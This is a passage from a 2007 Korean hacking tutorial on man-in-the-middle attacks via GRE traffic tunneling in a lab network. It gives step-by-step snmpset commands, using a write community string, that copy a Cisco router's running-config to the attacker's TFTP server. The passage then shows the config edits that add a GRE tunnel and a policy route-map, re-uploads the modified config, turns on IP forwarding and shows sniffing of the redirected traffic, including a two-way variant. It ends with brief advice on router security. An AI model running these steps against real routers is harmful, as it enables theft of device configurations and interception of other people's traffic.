② ccCopyProtocol을 TFTP로 설정한다.

root@zerolab:/tmp# snmpset -v 2c -c netmgmt 192.168.1.1 1.3.6.1.4.1.9.9.96.1.1.1.1.2.12345 i 1

SNMPv2-SMI::enterprises.9.9.96.1.1.1.1.2.12345 = INTEGER: 1

③ ccCopySourceFileType을 running-config로 설정한다.

root@zerolab:/tmp# snmpset -v 2c -c netmgmt 192.168.1.1 1.3.6.1.4.1.9.9.96.1.1.1.1.3.12345 i 4

SNMPv2-SMI::enterprises.9.9.96.1.1.1.1.3.12345 = INTEGER: 4

④ ccCopyDestFileType을 network으로 설정한다.

root@zerolab:/tmp# snmpset -v 2c -c netmgmt 192.168.1.1 1.3.6.1.4.1.9.9.96.1.1.1.1.4.12345 i 1

SNMPv2-SMI::enterprises.9.9.96.1.1.1.1.4.12345 = INTEGER: 1

⑤ ccCopyServerAddress을 공격자의 IP 어드레스로 설정한다.

root@zerolab:/tmp# snmpset -v 2c -c netmgmt 192.168.1.1 1.3.6.1.4.1.9.9.96.1.1.1.1.5.12345 a

192.168.3.100

SNMPv2-SMI::enterprises.9.9.96.1.1.1.1.5.12345 = IpAddress: 192.168.3.100

⑥ ccCopyServerFileName을 저장할 파일 이름으로 설정한다.

root@zerolab:/tmp# snmpset -v 2c -c netmgmt 192.168.1.1 1.3.6.1.4.1.9.9.96.1.1.1.1.6.12345 s

router-config

SNMPv2-SMI::enterprises.9.9.96.1.1.1.1.6.12345 = STRING: "router-config"

⑦ ccCopyEntryRowStatus을 active로 설정하여 다운로드를 시작한다.

root@zerolab:/tmp# snmpset -v 2c -c netmgmt 192.168.1.1 1.3.6.1.4.1.9.9.96.1.1.1.1.14.12345 i 1

SNMPv2-SMI::enterprises.9.9.96.1.1.1.1.14.12345 = INTEGER: 1

페이지 | 22

Copyright© 2007 All Rights Reserved By zer0one

⑧ 환경 설정 파일의 복사가 성공적으로 이루어졌는지 확인한다.

root@zerolab:/tmp# snmpget -v 2c -c netmgmt 192.168.1.1 1.3.6.1.4.1.9.9.96.1.1.1.1.10.12345

SNMPv2-SMI::enterprises.9.9.96.1.1.1.1.10.12345 = INTEGER: 3

⑨ TFTP 서버의 루트 디렉토리에 router-config가 생성되었는지 확인한다.

root@zerolab:/tmp# ls -l router-config

-rw-r--r-- 1 root root 885 May 5 19:05 router-config

root@zerolab:/tmp# head -5 router-config

!

version 12.2

service timestamps debug datetime msec

service timestamps log datetime msec

root@zerolab:/tmp#

성공적으로 환경 설정 파일이 다운로드 되었다.

4-5. 라우터 victim에 GRE tunnel 및 route map 생성

SNMP를 이용하여 라우터를 해킹하는 경우 다운로드 받은 환경 설정 파일을 수정한 후 라우터로

업로드 하는 식으로 공격이 가능하다. 먼저 GRE 터널과 router map을 생성하도록 다운로드 받은

환경 설정 파일을 수정해보도록 하자. 앞에서 다운로드 받은 환경 설정 파일에 단지 다음과 같은

내용만 추가하면 된다.

!터널 설정

interface tunnel0

tunnel mode gre ip

tunnel source serial 1/0

tunnel destination 10.0.2.2

ip address 10.1.1.1 255.255.255.252

!

access-list 101 permit ip any any

!

!route-map 생성

route-map victim_to_tunnel permit

match ip address 101

set ip next-hop 10.1.1.2

!

페이지 | 23

Copyright© 2007 All Rights Reserved By zer0one

위의 내용을 추가했으면 interface FastEthernet0/0 부분에 다음의 라인을 추가한다.(route-map 적

용)

ip policy route-map victim_to_tunnel

환경 설정 파일을 수정했으면 snmpset을 이용하여 업로드 해보자. 전체적인 절차는 앞서 환경 설

정 파일을 다운로드 받을 때와 유사하다.

① 공격자 시스템에 TFTP 서버를 실행한다.

② ccCopyProtocol을 TFTP로 설정한다.

root@zerolab:/tmp# snmpset -v 2c -c netmgmt 192.168.1.1 1.3.6.1.4.1.9.9.96.1.1.1.1.2.12345 i 1

SNMPv2-SMI::enterprises.9.9.96.1.1.1.1.2.12345 = INTEGER: 1

③ ccCopySourceFileType을 network으로 설정한다.

root@zerolab:/tmp# snmpset -v 2c -c netmgmt 192.168.1.1 1.3.6.1.4.1.9.9.96.1.1.1.1.3.12345 i 1

SNMPv2-SMI::enterprises.9.9.96.1.1.1.1.3.12345 = INTEGER: 1

④ ccCopyDestFileType을 running-config로 설정한다.

root@zerolab:/tmp# snmpset -v 2c -c netmgmt 192.168.1.1 1.3.6.1.4.1.9.9.96.1.1.1.1.4.12345 i 4

SNMPv2-SMI::enterprises.9.9.96.1.1.1.1.4.12345 = INTEGER: 4

⑤ ccCopyServerAddress을 공격자의 IP 어드레스로 설정한다.

root@zerolab:/tmp# snmpset -v 2c -c netmgmt 192.168.1.1 1.3.6.1.4.1.9.9.96.1.1.1.1.5.12345 a

192.168.3.100

SNMPv2-SMI::enterprises.9.9.96.1.1.1.1.5.12345 = IpAddress: 192.168.3.100

⑥ ccCopyServerFileName을 업로드 할 환경 설정 파일 이름으로 설정한다.

root@zerolab:/tmp# snmpset -v 2c -c netmgmt 192.168.1.1 1.3.6.1.4.1.9.9.96.1.1.1.1.6.12345 s

router-config

SNMPv2-SMI::enterprises.9.9.96.1.1.1.1.6.12345 = STRING: "router-config"

⑦ ccCopyEntryRowStatus을 active로 설정하여 업로드를 시작한다.

root@zerolab:/tmp# snmpset -v 2c -c netmgmt 192.168.1.1 1.3.6.1.4.1.9.9.96.1.1.1.1.14.12345 i 1

SNMPv2-SMI::enterprises.9.9.96.1.1.1.1.14.12345 = INTEGER: 1

⑧ 환경 설정 파일의 복사가 성공적으로 이루어졌는지 확인한다.

root@zerolab:/tmp# snmpget -v 2c -c netmgmt 192.168.1.1 1.3.6.1.4.1.9.9.96.1.1.1.1.10.12345

SNMPv2-SMI::enterprises.9.9.96.1.1.1.1.10.12345 = INTEGER: 3

4-6. 공격 런칭

페이지 | 24

Copyright© 2007 All Rights Reserved By zer0one

이 버전의 문서에서는 트래픽 터널링을 통한 공격 기법으로 스니핑을 다룰 것이다. 데이터 조

작이나 인젝션에 관한 내용은 다음 버전에서 다룰 것을 약속한다. 192.168.1.100에서

192.168.2.100으로 보내는 데이터는 이제 공격자(192.168.3.100)를 거쳐 가게 된다. 따라서 자연스

럽게 스니핑이 가능하게 된다. 물론 시나리오대로 트래픽이 흘러가도록 하려면 공격자의 시스템

역시 패킷을 포워딩할 수 있어야 한다. 패킷을 포워딩하는 방법은 2가지가 있다. 그 중 첫번째는

특별히 디자인된 애플리케이션을 이용하는 것이다. 이러한 목적으로 사용되는 대표적인 툴 중 하

나가 fragrouter이다. 물론 fragrouter는 IDS evasion을 위해 사용하도록 디자인된 툴이기는 하나

기본적으로 포워딩 기능을 가지고 있어 단순 포워딩을 위해 사용하기도 한다. 이 경우 ‘fragrouter

–B1’과 같이 사용하면 된다. 또 다른 방법은 커널 파라미터를 변경하는 것이다. 윈도우라면 관련

레지스트리를 변경하면 되며 IBM AIX나 HP-UX, Solaris의 경우 ‘ndd’를 이용하면 된다. 예로 사용

된 리눅스의 경우 sysctl을 이용하면 되는데 구체적으로 아래와 같이 명령을 내리면 된다.

echo 1 > /proc/sys/net/ipv4/ip_forward

이제 공격이 제대로 되는지 확인해 보자. 192.168.1.100에서 192.168.2.100으로 ping을 하도록 한

다. 공격이 제대로 이루어지고 있다면 192.168.3.100 시스템에서 ICMP echo request 메시지를 확

인할 수 있을 것이다.

root@zerolab:/tmp# tshark -i eth1 icmp

Capturing on eth1

0 packets dropped by kernel

5.312150 192.168.1.100 -> 192.168.2.100 ICMP Echo (ping) request

5.312205 192.168.1.100 -> 192.168.2.100 ICMP Echo (ping) request

6.298113 192.168.1.100 -> 192.168.2.100 ICMP Echo (ping) request

6.298157 192.168.1.100 -> 192.168.2.100 ICMP Echo (ping) request

7.280745 192.168.1.100 -> 192.168.2.100 ICMP Echo (ping) request

7.280900 192.168.1.100 -> 192.168.2.100 ICMP Echo (ping) request

성공적으로 스니핑이 이루어지는 것을 확인할 수 있다.

페이지 | 25

Copyright© 2007 All Rights Reserved By zer0one

5. 쌍방향 트래픽 터널링

지금까지 GRE 터널과 PBR을 이용한 트래픽 터널링에 대해서 간단히 살펴보았다. 민감한 독자라

면 이미 느꼈겠지만 앞에서의 내용은 단방향 트래픽에 대한 터널링이라는 한계를 갖는다. 즉 앞

선 예제의 경우 192.168.1.0/24 네트워크에서 192.168.2.0/24 네트워크로 향하는 트래픽만 공격자

를 거쳐가게 되지만 192.168.2.0/24 네트워크에서 192.168.1.0/24 네트워크로 향하는 트래픽은 공

격자를 거치지 않게 되는 것이다. 하지만 약간의 노력을 더하면 쌍방향 트래픽 터널링이 가능하

다. 그림 4를 보자. 그림이 복잡해지는 것을 막기 위해 시리얼 구간 설정 관련된 내용은 생략하였

다.

쌍방향 트래픽 터널링을 수행하기 위해서는 그림 4에서 처럼 라우터 victim과 라우터 attacker

사이는 물론 라우터 R1과 라우터 attacker 사이에도 터널을 생성해야 한다. 또한 라우터 R1의

F0/0에도 라우터 victim의 경우와 동일한 방법으로 route map을 생성하고 적용시킬 필요가 있다.

그런 다음 라우터 attacker에 생성된 두개의 터널에(tunnel0, tunnel1)에 수신한 패킷을 공격자 시

스템으로 포워딩하는 route map을 적용시켜야 한다. 여기까지는 그다지 어려울 것이 없으므로 자

세한 설정 파일은 생략하도록 한다. 여기까지는 자세한 설정 파일을 제공하지 않아도 어렵지 않

게 해내리라 믿는다. 이제 남은 것은 공격자 시스템에서 포워딩한 패킷을 두 개의 터널 중 적절

한 곳으로 나누어 보내는 일이다. 이를 위해 라우터 attacker의 F0/0에 적용시킨 route map을 아

래와 같이 변경해야 한다.

. . .

access-list 102 permit ip 192.168.1.0 0.0.0.255 any

access-list 103 permit ip 192.168.2.0 0.0.0.255 any

!

route-map attacker_to_tunnel permit 10

match ip address 102 103

set ip next-hop 10.1.1.1 10.2.1.1

!

interface F0/0

ip policy route-map attacker_to_tunnel

. . .

별 것 없지 않은가? 단방향 트래픽 터널링을 이해하였다면 쌍방향 트래픽 터널링도 그다지 어렵

지 않을 것이다.

페이지 | 26

Copyright© 2007 All Rights Reserved By zer0one

그림 4. 쌍방향 트래픽 터널링

다음은 양방향 트래픽 터널링을 적용한 후 공격자의 시스템에서 패킷을 스니핑한 결과이다. 이전

과는 달리 ICMP echo request와 ICMP echo reply 모두 캡춰되는 것을 확인할 수 있다.

root@zerolab:~# wireshark -i eth1 icmp

Capturing on eth1

0.000000 192.168.1.100 -> 192.168.2.100 ICMP Echo (ping) request

0.001056 192.168.1.100 -> 192.168.2.100 ICMP Echo (ping) request

0.075514 192.168.2.100 -> 192.168.1.100 ICMP Echo (ping) reply

0.075547 192.168.2.100 -> 192.168.1.100 ICMP Echo (ping) reply

0.618442 192.168.1.100 -> 192.168.2.100 ICMP Echo (ping) request

페이지 | 27

Copyright© 2007 All Rights Reserved By zer0one

0.618929 192.168.1.100 -> 192.168.2.100 ICMP Echo (ping) request

0.683023 192.168.2.100 -> 192.168.1.100 ICMP Echo (ping) reply

0.683286 192.168.2.100 -> 192.168.1.100 ICMP Echo (ping) reply

. . .

글을 마치며

지금까지 트래픽 터널링을 통한 MITM 공격에 대해서 알아보았다. 사실 MITM 공격 기법 중 스

니핑 만을 다루어 문서가 원래 의도하던 바를 다 기술하지 못한 아쉬움이 남는다. 트래픽 터널링

을 이용한 데이터 조작이나 인젝션 공격은 추후 문서를 업그레이드하면서 다룰 것을 다시 한 번

약속한다.

본 문서의 기본이 되는 공격 기법은 phrack 56-0xa에서 처음으로 공식적인 논의가 이루어졌으며

이후 많은 문서들을 통해 완성되었고 확산되었다. 개인적으로 재미있게 읽었던 ‘Stealing the

Network’라는 책에서도 가상의 주인공이 이 방법을 이용하여 해킹을 하는 장면이 등장한다. 실제

공격에서 이러한 공격이 이용되고 있는지의 여부는 확인할 길이 없으나 Google에서 검색되는 페

이지 수를 통해 추측해보면 어느 정도 일반화된 공격 기법인 것 같다. 트래픽 터널링은 기본적으

로 라우터가 제공하는 기능을 이용한 것이므로 라우터를 통제할 수 없는 경우 구사가 불가능한

공격 기법이다. 따라서 이러한 공격에 대비하기 위한 최선의 방법은 라우터의 보안에 신경을 쓰

는 것이다. 불행히도 서버의 보안 수준에 비하여 라우터가 기본적으로 제공하는 보안 기능은 매

우 낮으며 그나마 관리자의 관심 영역 밖에서 방치되고 있는 것이 현실이다. 아무쪼록 본 문서를

통해 라우터를 비롯한 네트워크 장비의 보안에 대해서 관심을 가지는 독자들이 많아지기를 바란

다.

------------------------------------------------------------------------------------------------------------

다 쓰고 나니 참 부족한 글이다라는 생각이 듭니다. 게으름에 몇 년간 방치했던 문서인데 조만간

(말 그대로 조만간입니다 ^.^;) 버전업 약속드립니다. 부족한 글 읽어주셔서 감사합니다.